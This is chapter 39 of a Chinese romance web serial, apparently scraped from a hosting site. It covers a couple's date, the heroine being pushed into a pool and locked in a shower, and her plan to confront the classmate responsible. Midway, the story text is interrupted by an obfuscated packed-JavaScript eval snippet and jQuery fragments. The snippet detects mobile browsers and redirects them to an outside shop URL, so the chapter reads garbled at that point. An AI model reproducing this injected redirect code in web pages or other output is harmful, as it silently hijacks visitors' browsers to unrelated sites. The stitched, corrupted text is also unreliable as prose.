39. 第 39 章

作品:《冬日待续

    梁砚津本想中午带姜菀到外面吃。


    要给潘溪童带饭,被姜菀想也没想拒绝。


    “那你中午买个大鸡腿,弥补我。”


    “行,给你买两个。”


    姜菀拍拍梁砚津后背,像是安慰。


    天气渐渐炎热,冒着热气的饭菜让人胃口不大。


    姜菀打了碗西红柿鸡蛋面。


    潘溪童在宿舍面试了一上午的兼职,都无所获。


    姜菀打回来的饭吃不下几口,一直在群里看招聘信息。


    “童童,我好像又一次重新认识了你一次。”


    本以为,过惯了奢侈生活的‘公主’。


    会为了金钱屈服,听从父母安排循规蹈矩着继续生活。


    但潘溪童能够放下身段,不停找兼职养活自己。


    为的就是摆脱控制,生活质量一下午降低不少,姜菀还担心她不能适应。


    “这有啥,活着才是王道,其余都为浮云。”


    潘溪童笑姜菀想象力丰富。


    每个人都曾面临过无数个重要节点,这是于潘溪童而言,第一个关乎成长的节点。


    抓住自由的意念无限向上生长,终究冲破被藤蔓缠绕住的笼子,一击即碎。


    自由,金钱,快乐三者是可以并存的。


    梁砚津最近很忙,中标的项目月底开工。


    他跟罗嘉明天天跑工地实地测绘改图纸。


    姜菀这边忙着上课,两人好几天没有见面。


    等一忙清楚,梁砚津回宿舍冲个凉换身衣服,急匆匆跑出去。


    罗嘉明连连摇头,恋爱中的人精力真好。


    他现在只想躺床上补觉。


    “姜菀。”


    梁砚津订了蛋糕,看了课表,直接到女生宿舍楼下等着。


    没一会,便见姜菀挽着潘溪童走来。


    迫不及待站起身喊她,声音里充满欢喜。


    “你怎么来了。”


    事实证明,许久不见,姜菀想梁砚津了,小跑到他面前站定。


    “想你。”


    想见你,所以来了。


    来的路上脚步加快,裤腿扫起路旁的绿叶红花。


    仿佛树上的鸟儿也知道他此刻的心情,叽叽喳喳个不停。


    当见到人走过来那一刻,心跳加速。


    眼神从姜菀身上挪不开一点,想靠近,想有肢体接触,想在未来一直一直拥有她。


    这个想法冒出来时,梁砚津被自己吓一跳。


    原来,姜菀早已到达他内心深处。


    梁砚津眼里的温柔都快化开滴出水。


    令人羡慕的是,这独属于姜菀。


    奶油入口即化,甜味蔓延在口腔。


    两人之间望着对方的眼神在拉丝,如同这蛋糕一样甜蜜。


    潘溪童看得一激灵,赶紧跑上楼,受不了一点这腻歪劲。


    这天,姜菀不需要去兼职。


    下了课换上泳衣直奔游泳馆,梁砚津提前安排好,腾出时间陪她。


    “你就这样过来的?”


    梁砚津在游泳馆门口等着。


    “对啊,你快去把衣服换了。”


    姜菀低头,泳衣外面还有件罩衫,长及小腿,没觉着有什么不对。


    “下次到这边换。”


    姜菀不知的是,这种朦胧美更容易吸引注意。


    梁砚津压下心中酸味,站到姜菀身后把整个人遮住,搂在怀里。


    “你靠我太近了。”


    姜菀不舒服,想推开人,离自己有点空隙。


    “我冷,让我抱抱。”


    梁砚津面不改色乱说,手却一点没挪开。


    “……”


    姜菀坐在浅水区的岸边。


    等梁砚津换好衣服过来,双腿在水里扑棱,泛起层层涟漪。


    突然进来一群人在泳池边嬉笑打闹,姜菀多看了几眼没当回事。


    谁知背后传来一股推力,姜菀猝不及防跌进泳池,消毒水的味道灌进鼻腔口腔。


    太过突然,姜菀没有任何准备,这会在水里不断扑腾。


    想抓住点什么,周围都是水软绵绵,什么也抓不住。


    眼睛在水底勉强睁开,酸涩味立马蔓延,朦胧中能看到岸边无动于衷的人,是刚才走进来的那群人。


    这一刻,姜菀感受到溺水者的绝望。


    腿努力伸直,却怎么也使不上力,用力蹬只不过让水花更大罢了。


    就在濒临绝望之际,一双大掌托住她的腰身。


    浮出水面时,姜菀抱着梁砚津脖子如同抓住救命稻草般。


    很紧很紧,确认安全后才敢大口呼吸。


    “没事了,没事了。”


    梁砚津手掌在她背部轻轻拍打,语气很缓,是在安抚。


    换好泳裤出来,眼神搜索一圈没见到姜菀身影。


    反倒是馆里比刚进来时多了好些人,他直觉不对劲。


    不一样的水花引起梁砚津注意,他看到那抹熟悉的绿色,急忙跳下去把姜菀捞起。


    边安抚人的同时,边观察周围,他不相信姜菀落水这件事属于意外。


    “梁砚津,吓死我了。”


    姜菀趴在他肩膀上抽泣,眼泪滴落在上面。


    梁砚津的心像被这些泪水灼烧,很痛很痛。


    哄小孩一般,抱着人到岸边坐下。


    什么话也没说,手掌包裹住姜菀发抖的手,安静等人收拾好情绪。


    “梁砚津,我好了。”


    “开始教我吧。”


    本以为姜菀会选择回去,她擦了擦脸颊遗留的泪珠,眼神直勾勾地看着梁砚津。


    “行,我会一直在你身边,不用害怕。”


    “有任何不适,随时告诉我。”


    害怕刚才的溺水对姜菀造成阴影,他叮嘱着。


    “嗯,好。”


    姜菀按照梁砚津说的在水底憋气,练习漂浮。


    眼底全是对想学会的坚定。


    发生了刚才的事,梁砚津寸步不离守在她身边。


    姜菀累了,歇息时她喜欢扶着岸边,横着来来回回走。


    感受着水带来的浮力,梁砚津就跟在她身后,陪着她玩。


    梁砚津这种呵护程度,羡煞旁人。


    同样他的眼神都给了被他圈在怀里的人,分不出一点余给别人。


    “你要不然去游几圈?我一个人没事的。”


    “不行,我不放心。”


    梁砚津想也没想拒绝。


    这会,转过来面对着梁砚津。


    姜菀才注意到馆里有些同学时不时把目光投向这边。


    不是看她,而是放在梁砚津身上,她低头一看,是那块块分明的腹肌。


    虽然见过,再次见到,姜菀仍红了脸。


    冲动使然,姜菀向前一步,一把抱住梁砚津。


    语气里带着酸味,不知为何,姜菀想到就很不舒服。


    她把这归为占有欲,属于自己的,总不想被他人觊觎。


    “梁砚津,好多人在看你。”


    “嗯,但我只想让你看。”


    梁砚津反应过来姜菀突然拥抱的含义,沉着声音在姜菀耳边解释。


    “下回,我套件衣服,不给别人机会看,好不好。”


    他很开心姜菀能直白表达出内心想法。


    对于姜菀吃醋,梁砚津感到开心。


    说明,他是被姜菀在乎的。


    姜菀在这充满磁性声音蛊惑下点头。


    呆呆地模样,闯进梁砚津内心,忍不住抚摸她头顶。


    时间差不多,两人打算去吃饭。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242380|197794||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    梁砚津很快冲好澡,心脏砰砰跳有些慌,他到女浴室门口守着。


    不方便靠太近,梁砚津依靠在进门处,低头玩手机。


    发梢上的水珠垂直滴落砸在地上,水泥地板瞬间晕染开,像花朵一样绽开。


    时间一分一秒过去,进出了好几拨人。


    始终不见姜菀身影,梁砚津焦急,生怕姜菀又发生不好的事情。


    刚想拜托监管的阿姨,姜菀走了出来,梁砚津大步向前拥人入怀。


    感受到温度与姜菀强有力的心跳声,梁砚津才把心放肚子里。


    “怎么去那么久?”


    “遇到点小事,已经解决了。”


    姜菀说的云淡风轻,实则刚发生时,她也被吓住了。


    淋浴室是单间,姜菀进去洗澡时门还是好的。


    等出来时,门怎么也打不开。


    姜菀用力拉扯门把手,大声呼喊希望能有人能够听见。


    拍打双手的门逐渐没了力气,手掌摊开只见一片粉红。


    “姜菀,冷静下来,想想办法。”


    边给自己鼓劲边看周围有什么能让自己踩上去的物体。


    搜索一圈无果,她凭毅力扒着门框慢慢爬上来。


    最后翻出来时,门上有水脚底一滑,摔在了地上,膝盖和手臂都磕淤青。


    “梁砚津,你可以帮帮我吗?”


    姜菀将所有事情讲给他听,有时候不得不承认,‘权利’是一把很锋利的武器。


    “好。”


    梁砚津见她身上淤青,没说话,想带着人去校医室,被姜菀拉住。


    “不用了,过几天它自己会好的。”


    “姜菀,听话。”


    “让我放心,好不好。”


    梁砚津语言里参杂着‘卑微’,把自己放到下位者的位置。


    姜菀想到小时候同妈妈去山上挖笋子,因为不会用巧力,笋没有挖到。


    还把自己给划伤,本以为妈妈会安慰自己。


    面对的却是严厉谩骂。


    从那以后,面对伤口,姜菀不在呼喊,等着自愈。


    表面看,内心的伤痕如同这疤一样痊愈。


    当再次受伤时,那道伤痕又裂开,只不过当事人已经麻木,感受不到这痛处。


    今天重新感受到被人重视。


    原来不是不会痛,缺少愿意关心的人罢了。


    刚才发生的事情,姜菀没有落泪,这会,她却有流泪的冲动。


    “梁砚津,你真好。”


    姜菀踮脚在他脸颊处轻吻。


    “不用贿赂我,我也会对你好。”


    梁砚津将姜菀不常主动献吻的行为,称之为‘贿赂’。


    “明明这属于奖励。”


    姜菀小声反驳。


    梁砚津听见,笑而不语,内心希望这种奖励越多越好。


    隔日,淤青处变成紫色,愈发吓人。


    潘溪童注意到问她怎么回事。


    “太可恶了,这绝对不是意外。”


    世上没有这么巧合的事情,接二发生意外,只会是有心人故意为之。


    梁砚津速度很快,监控当晚便调了出来,画面中的有她们所认识的人。


    “怎么会是她?”


    潘溪童不敢相信,邢霜研跟她俩一个班。


    平日里给人的感觉是文静,一副三好学生模样。


    不像是会做这种事情。


    “会不会搞错了?”


    潘溪童反复放大图片,照片里的人确认无疑。


    “搞没搞错,找她聊聊就知道了。”


    “不告诉梁砚津?”


    “嗯,我自己去。”


    姜菀从来不是需要男人出头的弱女子,两次意外,都是冲她来。


    姜菀想弄清楚缘由。